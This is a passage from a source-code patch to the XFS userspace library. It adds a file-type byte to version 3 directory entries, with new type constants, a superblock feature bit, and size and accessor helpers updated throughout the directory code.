xfs_dir2_sf_entry *sfep); +extern void xfs_dir3_sfe_put_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino); extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 2095e17..a0961a6 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -69,6 +69,23 @@ #define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ /* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* * Byte offset in data block and shortform entry. */ typedef __uint16_t xfs_dir2_data_off_t; @@ -138,6 +155,9 @@ typedef struct xfs_dir2_sf_entry { xfs_dir2_sf_off_t offset; /* saved offset */ __u8 name[]; /* name, variable size */ /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a * variable offset after the name. */ @@ -162,16 +182,6 @@ xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) put_unaligned_be16(off, &sfep->offset.i); } -static inline int -xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) -{ - return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ - len + /* name */ - (hdr->i8count ? /* ino */ - sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t)); -} - static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { @@ -179,14 +189,78 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) { return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); } +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} /* * Data block structures. @@ -286,12 +360,18 @@ xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) * Active entry in a data block. * * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir2_data_entry_tag_p. + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. */ typedef struct xfs_dir2_data_entry { __be64 inumber; /* inode number */ __u8 namelen; /* name length */ __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ /* __be16 tag; */ /* starting offset of us */ } xfs_dir2_data_entry_t; @@ -311,20 +391,67 @@ typedef struct xfs_dir2_data_unused { /* * Size of a data entry. */ -static inline int xfs_dir2_data_entsize(int n) +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) { - return (int)roundup(offsetof(struct xfs_dir2_data_entry, name[0]) + n + - (uint)sizeof(xfs_dir2_data_off_t), XFS_DIR2_DATA_ALIGN); + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; } /* * Pointer to an entry's tag word. */ static inline __be16 * -xfs_dir2_data_entry_tag_p(struct xfs_dir2_data_entry *dep) +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) { return (__be16 *)((char *)dep + - xfs_dir2_data_entsize(dep->namelen) - sizeof(__be16)); + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); } /* @@ -375,13 +502,17 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) * data block header because the sfe embeds the block offset of the entry into * it so that it doesn't change when format conversion occurs. Bad Things Happen * if we don't follow this rule. + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. */ #define XFS_DIR3_DATA_DOT_OFFSET(mp) \ xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) #define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir2_data_entsize(1)) + (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) #define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir2_data_entsize(2)) + (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) @@ -392,13 +523,19 @@ xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dot_offset(hdr) + xfs_dir2_data_entsize(1); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 1); } static inline xfs_dir2_data_aoff_t xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dotdot_offset(hdr) + xfs_dir2_data_entsize(2); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dotdot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 2); } /* diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 9085662..8721904 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -555,12 +555,6 @@ static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) sbp->sb_bad_features2 |= XFS_SB_VERSION2_PROJID32BIT; } -static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) -{ - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; -} - - /* * Extended v5 superblock feature masks. These are to be used for new v5 * superblock features only. @@ -599,7 +593,9 @@ xfs_sb_has_ro_compat_feature( return (sbp->sb_features_ro_compat & feature) != 0; } +#define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_ALL 0 + #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool xfs_sb_has_incompat_feature( @@ -624,16 +620,30 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } -static inline bool -xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +/* + * V5 superblock specific feature checks + */ +static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; +} + +static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); } /* * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/include/xfs_types.h b/include/xfs_types.h index ce44b18..82bbc34 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -140,6 +140,7 @@ typedef enum { struct xfs_name { const unsigned char *name; int len; + int type; }; /* diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 830fe3e..521042f 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -18,7 +18,8 @@ #include -struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2}; +struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; + /* * ASCII case-insensitive (ie. A-Z) support for directories that was @@ -367,6 +368,7 @@ xfs_dir_replace( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -414,6 +416,7 @@ xfs_dir_canenter( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index d94b9b2..615eea9 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -107,7 +107,7 @@ const struct xfs_buf_ops xfs_dir3_block_buf_ops = { .verify_write = xfs_dir3_block_write_verify, }; -static int +int xfs_dir3_block_read( struct xfs_trans *tp, struct xfs_inode *dp, @@ -350,7 +350,7 @@ xfs_dir2_block_addname( if (error) return error; - len = xfs_dir2_data_entsize(args->namelen); + len = xfs_dir3_data_entsize(mp, args->namelen); /* * Set up pointers to parts of the block. @@ -530,7 +530,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. @@ -780,7 +780,7 @@ xfs_dir2_block_removename( needlog = needscan = 0; xfs_dir2_data_make_free(tp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Fix up the block tail. */ @@ -1140,7 +1140,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[0].hashval = cpu_to_be32(xfs_dir_hash_dot); @@ -1153,7 +1153,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); @@ -1198,10 +1198,10 @@ xfs_dir2_sf_to_block( * Copy a real entry. */ dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); - dep->inumber = cpu_to_be64(xfs_dir2_sfe_get_ino(sfp, sfep)); + dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; memcpy(dep->name, sfep->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); name.name = sfep->name; @@ -1214,7 +1214,7 @@ xfs_dir2_sf_to_block( if (++i == sfp->count) sfep = NULL; else - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index 5074878..ea9ba91 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -131,7 +131,7 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( !xfs_dir_ino_validate(mp, be64_to_cpu(dep->inumber))); XFS_WANT_CORRUPTED_RETURN( - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) == + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); count++; lastfree = 0; @@ -150,7 +150,7 @@ __xfs_dir3_data_check( } XFS_WANT_CORRUPTED_RETURN(i < be32_to_cpu(btp->count)); } - p += xfs_dir2_data_entsize(dep->namelen); + p += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Need to have seen all the entries and all the bestfree slots. @@ -520,8 +520,8 @@ xfs_dir2_data_freescan( else { dep = (xfs_dir2_data_entry_t *)p; ASSERT((char *)dep - (char *)hdr == - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep))); - p += xfs_dir2_data_entsize(dep->namelen); + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep))); + p += xfs_dir3_data_entsize(mp, dep->namelen); } } } @@ -611,7 +611,8 @@ xfs_dir2_data_log_entry( struct xfs_buf *bp, xfs_dir2_data_entry_t *dep) /* data entry pointer */ { - xfs_dir2_data_hdr_t *hdr = bp->b_addr; + struct xfs_dir2_data_hdr *hdr = bp->b_addr; + struct xfs_mount *mp = tp->t_mountp; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -619,7 +620,7 @@ xfs_dir2_data_log_entry( hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)dep - (char *)hdr), - (uint)((char *)(xfs_dir2_data_entry_tag_p(dep) + 1) - + (uint)((char *)(xfs_dir3_data_entry_tag_p(mp, dep) + 1) - (char *)hdr - 1)); } diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 55b7d05..04ad083 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -677,7 +677,7 @@ xfs_dir2_leaf_addname( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * See if there are any entries with the same hash value @@ -878,7 +878,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. @@ -1409,7 +1409,7 @@ xfs_dir2_leaf_removename( */ xfs_dir2_data_make_free(tp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * We just mark the leaf entry stale by putting a null in it. */ diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 030f620..15b1eb6 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -587,7 +587,7 @@ xfs_dir2_leafn_lookup_for_addname( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); } - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * Loop over leaf entries with the right hash value. */ @@ -1241,7 +1241,7 @@ xfs_dir2_leafn_remove( longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; xfs_dir2_data_make_free(tp, dbp, off, - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. * Log the data block header if needed. @@ -1693,7 +1693,7 @@ xfs_dir2_node_addname_int( dp = args->dp; mp = dp->i_mount; tp = args->trans; - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * If we came in with a freespace block that means that lookup * found an entry with our hash value. This is the freespace @@ -1989,7 +1989,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); /* diff --git a/libxfs/xfs_dir2_priv.h b/libxfs/xfs_dir2_priv.h index 7af3e92..1bad84c 100644 --- a/libxfs/xfs_dir2_priv.h +++ b/libxfs/xfs_dir2_priv.h @@ -18,21 +18,26 @@ #ifndef __XFS_DIR2_PRIV_H__ #define __XFS_DIR2_PRIV_H__ +struct dir_context; + /* xfs_dir2.c */ extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, xfs_dir2_db_t *dbp); -extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, - struct xfs_buf *bp); extern int xfs_dir_cilookup_result(struct xfs_da_args *args, const unsigned char *name, int len); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + +extern unsigned char xfs_dir3_get_dtype(struct xfs_mount *mp, + __uint8_t filetype); + + /* xfs_dir2_block.c */ +extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, + struct xfs_buf **bpp); extern int xfs_dir2_block_addname(struct xfs_da_args *args); -extern int xfs_dir2_block_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_block_lookup(struct xfs_da_args *args); extern int xfs_dir2_block_removename(struct xfs_da_args *args); extern int xfs_dir2_block_replace(struct xfs_da_args *args); @@ -55,22 +60,8 @@ extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup, int *loghead); -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr, int *loghead); extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, struct xfs_buf **bpp); -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_entry *dep); -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, - struct xfs_buf *bp); -extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup); -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, - xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, - int *needlogp, int *needscanp); -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); /* xfs_dir2_leaf.c */ extern int xfs_dir3_leafn_read(struct xfs_trans *tp, struct xfs_inode *dp, @@ -83,8 +74,6 @@ extern void xfs_dir3_leaf_compact(struct xfs_da_args *args, extern void xfs_dir3_leaf_compact_x1(struct xfs_dir3_icleaf_hdr *leafhdr, struct xfs_dir2_leaf_entry *ents, int *indexp, int *lowstalep, int *highstalep, int *lowlogp, int *highlogp); -extern int xfs_dir2_leaf_getdents(struct xfs_inode *dp, void *dirent, - size_t bufsize, xfs_off_t *offset, filldir_t filldir); extern int xfs_dir3_leaf_get_buf(struct xfs_da_args *args, xfs_dir2_db_t bno, struct xfs_buf **bpp, __uint16_t magic); extern void xfs_dir3_leaf_log_ents(struct xfs_trans *tp, struct xfs_buf *bp, @@ -104,6 +93,8 @@ xfs_dir3_leaf_find_entry(struct xfs_dir3_icleaf_hdr *leafhdr, int lowstale, int highstale, int *lfloglow, int *lfloghigh); extern int xfs_dir2_node_to_leaf(struct xfs_da_state *state); +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); extern void xfs_dir3_leaf_hdr_to_disk(struct xfs_dir2_leaf *to, struct xfs_dir3_icleaf_hdr *from); extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, @@ -134,19 +125,18 @@ extern int xfs_dir2_free_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t fbno, struct xfs_buf **bpp); /* xfs_dir2_sf.c */ -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); extern int xfs_dir2_block_sfsize(struct xfs_inode *dp, struct xfs_dir2_data_hdr *block, struct xfs_dir2_sf_hdr *sfhp); extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, int size, xfs_dir2_sf_hdr_t *sfhp); extern int xfs_dir2_sf_addname(struct xfs_da_args *args); extern int xfs_dir2_sf_create(struct xfs_da_args *args, xfs_ino_t pino); -extern int xfs_dir2_sf_getdents(struct xfs_inode *dp, void *dirent, - xfs_off_t *offset, filldir_t filldir); extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); extern int xfs_dir2_sf_removename(struct xfs_da_args *args); extern int xfs_dir2_sf_replace(struct xfs_da_args *args); +/* xfs_dir2_readdir.c */ +extern int xfs_readdir(struct xfs_inode *dp, struct dir_context *ctx, + size_t bufsize); + #endif /* __XFS_DIR2_PRIV_H__ */ diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index cb23368..2791d99 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -15,7 +15,6 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - #include /* @@ -89,31 +88,38 @@ xfs_dir2_sf_put_parent_ino( /* * In short-form directory entries the inode numbers are stored at variable - * offset behind the entry name. The inode numbers may only be accessed - * through the helpers below. + * offset behind the entry name. If the entry stores a filetype value, then it + * sits between the name and the inode number. Hence the inode numbers may only + * be accessed through the helpers below. */ static xfs_dir2_inou_t * -xfs_dir2_sfe_inop( +xfs_dir3_sfe_inop( + struct xfs_mount *mp, struct xfs_dir2_sf_entry *sfep) { - return (xfs_dir2_inou_t *)&sfep->name[sfep->namelen]; + __uint8_t *ptr = &sfep->name[sfep->namelen]; + if (xfs_sb_version_hasftype(&mp->m_sb)) + ptr++; + return (xfs_dir2_inou_t *)ptr; } xfs_ino_t -xfs_dir2_sfe_get_ino( +xfs_dir3_sfe_get_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { - return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); + return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); } void -xfs_dir2_sfe_put_ino( +xfs_dir3_sfe_put_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino) { - xfs_dir2_sf_put_ino(hdr, xfs_dir2_sfe_inop(sfep), ino); + xfs_dir2_sf_put_ino(hdr, xfs_dir3_sfe_inop(mp, sfep), ino); } /* @@ -141,9 +147,16 @@ xfs_dir2_block_sfsize( int namelen; /* total name bytes */ xfs_ino_t parent = 0; /* parent inode number */ int size=0; /* total computed size */ + int has_ftype; mp = dp->i_mount; + /* + * if there is a filetype field, add the extra byte to the namelen + * for each entry that we see. + */ + has_ftype = xfs_sb_version_hasftype(&mp->m_sb) ? 1 : 0; + count = i8count = namelen = 0; btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); @@ -172,9 +185,10 @@ xfs_dir2_block_sfsize( if (!isdot) i8count += be64_to_cpu(dep->inumber) > XFS_DIR2_MAX_SHORT_INUM; #endif + /* take into account the file type field */ if (!isdot && !isdotdot) { count++; - namelen += dep->namelen; + namelen += dep->namelen + has_ftype; } else if (isdotdot) parent = be64_to_cpu(dep->inumber); /* @@ -300,12 +314,12 @@ xfs_dir2_block_to_sf( (xfs_dir2_data_aoff_t) ((char *)dep - (char *)hdr)); memcpy(sfep->name, dep->name, dep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, + xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); xfs_dir2_sf_check(args); @@ -356,7 +370,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ 